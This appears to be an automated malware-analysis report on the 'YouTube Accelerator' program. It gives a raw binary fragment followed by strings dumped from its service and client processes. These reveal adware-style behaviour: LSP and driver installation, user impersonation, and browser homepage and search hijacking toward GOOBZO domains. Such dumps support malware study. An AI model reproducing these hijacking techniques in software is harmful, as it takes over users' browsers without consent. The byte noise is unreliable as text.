_.l.....a...i..Gt..g.n../.Q.. 8w....b.a...N}z.-.S-3.Z..u....9*..`.8.1.
!2./........o2........j.eK..:...^...a......I...~o.i.........r...hi.*m.
..._......e.Y.aYF.3c.7....;.p.*g.|O/Z.......b.........I...t..5..".np..
....?...U........bX`9.....F..^...~.p5.g..?..j...F);Q..A..S..Dt........
.agR.B..l......5.K...T.....q..1.........r....&....KV.{..)j...p.3.N.~.f
....i........e...C..|.a.WE....KD.,^.hH.].*....8..)..}]y...Z.F .r...{.?
*..2..#.M.Q....8#e..s1....t...&e*..#.d.1.u.....EY.....p.W~I... .#.C.#.
...m..0i.vV....~...lq].>.[.!.....\....X.'.....l..1x...a.D....g..X..
#......n...w..Y...Gya,..v0.nH%.................x..,.`|.X..3.zo..<!9
-1....2.[..Q#..K..iP..k.....}5..1X.p7m$...py........c.b..C...U0.......
......G....Z>.......}.P|k4.].....A#....Z EC.~0.,.....09.j..2.K....g
....7{.0..R....i.`2...U..;z..w....R......w.....^...g.F}.$g.:..H..}
<<< skipped >>>






The Application connects to the servers at the folowing location(s):







YouTubeAcceleratorService.exe_3316:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
t9.tZ
uB9.tF
Tu8%XuJ@Uu
AUu.AUu
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CAcceleratorService::ExecuteServerAsWD] Exit
[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup
\\.\pipe\GOOBZO_VAPIPESERVERENG
[CAcceleratorService::ExecuteServerAsWD] Enter
[CAcceleratorService::CreateEngineThread] Create thread result %d
[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d
[CAcceleratorService::StopServiceExitMode] Name: %s
[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d
[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d
[CAcceleratorService::ExecuteServer] Leave
[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD
[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d
[CAcceleratorService::ExecuteServer] Enter
%d.%d.%d.%d
Name: %s
Path: %s
Version: %s
%s_%d.log
[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s
[CAcceleratorService::UninstallDriver] Driver name: %s
[CAcceleratorService::InstallLsp] Module not found - LE: %d
[CAcceleratorService::InstallLsp] Function Install not found - LE: %d
[CAcceleratorService::InstallLsp] Module path: %s
[CAcceleratorService::UninstallLsp] Module not found - LE: %d
[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d
[CAcceleratorService::UninstallLsp] Module path: %s
[CAcceleratorService::RunCommand] Command: %d
[CLSPKeepAlive::GetLastLSPTestStatus] return %d
[CLSPKeepAlive::CheckOurLSPStatus]
[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!
[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***
[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CDriverManager::CreateDriver] CreateService failed: %d
Tcpip
[CDriverManager::CreateDriver] Name: %s, Path: %s
[CDriverManager::Install] OpenSCManager failed: %d
[CDriverManager::Install] Name: %s, Path: %s
[CDriverManager::DeleteDriver] DeleteService failed: %d
[CDriverManager::DeleteDriver] OpenService failed: %d
[CDriverManager::DeleteDriver] Name: %s
[CDriverManager::UnInstall] OpenSCManager failed: %d
[CDriverManager::UnInstall] Name: %s
[CDriverManager::StartDriver] OpenService failed: %d
[CDriverManager::StartDriver] Name: %s
[CDriverManager::Load] OpenSCManager failed: %d
[CDriverManager::Load] Name: %s
[CDriverManager::StopDriver] OpenService failed: %d
[CDriverManager::StopDriver] Name: %s
[CDriverManager::UnLoad] OpenSCManager failed: %d
[CDriverManager::UnLoad] Name: %s
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
engine.dll
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
ipc.dll
xmldb.dll
config.xml
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
YoutubeAcceleratorService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
operator
GetProcessWindowStation
USER32.DLL
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb
KERNEL32.dll
USER32.dll
ADVAPI32.dll
SHELL32.dll
VERSION.dll
USERENV.dll
PSAPI.DLL
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
tGHt.Ht&
FTPQ
.?AVunsupported_thread_option@boost@@
zcÁ
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
KERNEL32.DLL
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
GDI32.dll
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
LZÁ
Q,-I}g_
4.gtE
-;M.EZk
1:](P%X
g.RUg
fH.XFH
.cP;_
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
OUTUB~1\YouTubeAcceleratorService.exe
3.3.9.5

YouTubeAccelerator.exe_3268:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
ub9.tM
@ SSh
SSSSh
D$<9.tZ
\9.tB
D$`9.tZ
FTPj
t#WSSh
D$(PSSh
s%j.Zf
tGHt.Ht&
@Uu.AUuv
%a,%d-%b-%Y %H:%M:%S
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
spCmd
3.3.9.5
<img src="images/v4.gif" alt="" />
<img src="images/v3.gif" alt="" />
user32.dll
CWebBrowser2
CNotSupportedException
hhctrl.ocx
CCmdTarget
KERNEL32.DLL
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
OLEACC.dll
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb
VERSION.dll
KERNEL32.dll
USER32.dll
GDI32.dll
COMDLG32.dll
WINSPOOL.DRV
ADVAPI32.dll
SHELL32.dll
COMCTL32.dll
SHLWAPI.dll
oledlg.dll
ole32.dll
OLEAUT32.dll
WININET.dll
WS2_32.dll
USERENV.dll
PSAPI.DLL
.?AVCCmdTarget@@
.PAVCException@@
.?AVCWebWindow@@
.?AVCHttp@@
.?AVCHttpAsync@@
.?AVCExecuteUpdate@@
.?AVCExitWindows@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AVIPipeEventsThread@@
.?AVCSLogReportEventThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
<>"#{}|\^~[]`' ?&
.?AVCSABaseWebWindow@@
.?AVCSANotifierWebWindow@@
.?AVCSAWebWindow@@
.PAVCMemoryException@@
.?AVCWebBrowser2@@
.?AVCWebForm@@
.?AVCWebElement@@
.?AVCWebInput@@
.?AVCWebAnchor@@
.?AVCWebDiv@@
.?AVCWebCheckBox@@
.PAVCSimpleException@@
.PAVCObject@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.PAVCOleException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCTestCmdUI@@
.?AVCCmdUI@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.PAVCFileException@@
zcÁ
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
FTPQ
.?AVunsupported_thread_option@boost@@
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
,'*%f
!.OUV
.FLy3
jS.TP]
ULsD1A%C
.Wk4ka&F
=.BJu
.Ao$u
w%fVb
Ü/OK1I
vAR%5s_
.OM4t
~UsQl^
h2%XL
|RZ%X#
Al-f}
Zdr.Uzr
'5,# {:#
L.gSeC
.Xw_I
|v%s9
j,M
CPX.ta
S.OSC
<.fRv
kksQl
}C.Xz
'(}:"%;'
8,.Dl
y%swo
XX.VK
..Jz`
,'.mM
@M.kuMhW
CQ.ug
{\.Gpf
.LHP9Q
U|i
.epAjX(
&i.zi
%DHTz
j8.CW
I7Û
.BR }:
-.Ozl
6'.VA
"x.UU;
.MtNM
9;}%X
%SAw'[
.xVCVe7x
%s7$T
.aP4\Wa
 %DmQ.
ce.Sz0{6
7_:%d
bjz6Œ8[
t1.AU
zTaB.nf
)g.ow
^__:;;,,,~
9:;556011---
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
%s (%s:%d)
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl
JhXXp://@BRAND_ID@.@[email protected]/support/video-sites
hXXp://@BRAND_ID@.@[email protected]/buy/hd/
hXXp://wiki.@[email protected]/doku.php?id=va:start
%s?OEM=%s
hXXp://VVV.@[email protected]
hXXp://@BRAND_ID@.@[email protected]/legal/license
blank.html
hXXp://VVV.@[email protected]/legal/privacy
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
@CActivationBrowser::OnBeforeNavigate : url = %s
CActivationBrowser::OnNavigateComplete : url = %s
CActivationBrowser::OnNavigateError : url = %s
Res.dll
CActivationBrowser::SetMetaData GOT 'OPEN_URL'
OPEN_URL
CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'
ACTIVATION_BACK_URL
activation_offline.mht
%X%X%X
hXXp://client.@[email protected]/clientva/Activation.aspx
CActivationBrowser::OnDocumentComplete : url = %s
ipc.dll
\\.\pipe\GOOBZO_VAPIPESERVERENG
LastNum%d
LastID%d
\\.\pipe\GOOBZO_VAPIPESERVERUI
CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s
CBrowserSettings::RegisterDLL %s
%s = %s; expires = %s
%a,%d-%b-%Y %H:%M:%S GMT
2prefs.js
profiles.ini
profile%d
Mozilla\Firefox\
cookies.txt
Software\Microsoft\Internet Explorer\AboutURLs
user_pref("keyword.URL", "%s");
Use Custom Search URL
DefaultSearchURL
SBSearch.dll
SearchURL
Web Search
user_pref("browser.startup.homepage","%s");
restore.GOOBZO.com
hXXp://search.GOOBZO.com
search.GOOBZO.com
%d-%b-%Y
hXXp://restore.GOOBZO.com
user_pref("browser.startup.homepage",
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
HTTP/1.1
Content-Type: multipart/form-data; boundary=%s
Content-Disposition: form-data; name="%s"
XXX
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
test.youtubeaccelerator.com
hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CCommTest::SetEngineMode] %d
vaproxy.pac
[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!
[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d
testlsp.exe
[CCommTest::ProcessNextState] ___Error State = %d !!!
[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d
[CCommTestDlg::ResetConnectionTimer] SetTimer: %d
[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d
CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOff] ___Error GetRegistryKeys
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
B%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
You are using %s - Translated by:
[CFileResource::Load] ___Error SizeofResource: %d
[CFileResource::Load] ___Error LockResource: %d
[CFileResource::Load] ___Error LoadResource: %d
[CFileResource::Load] ___Error FindResource: %d
[CFileResource::Load] %s
[CFileResource::Extract] ___Error Write: %d
[CFileResource::Extract] ___Error Create: %d
[CFileResource::Extract] %s
[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x
[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
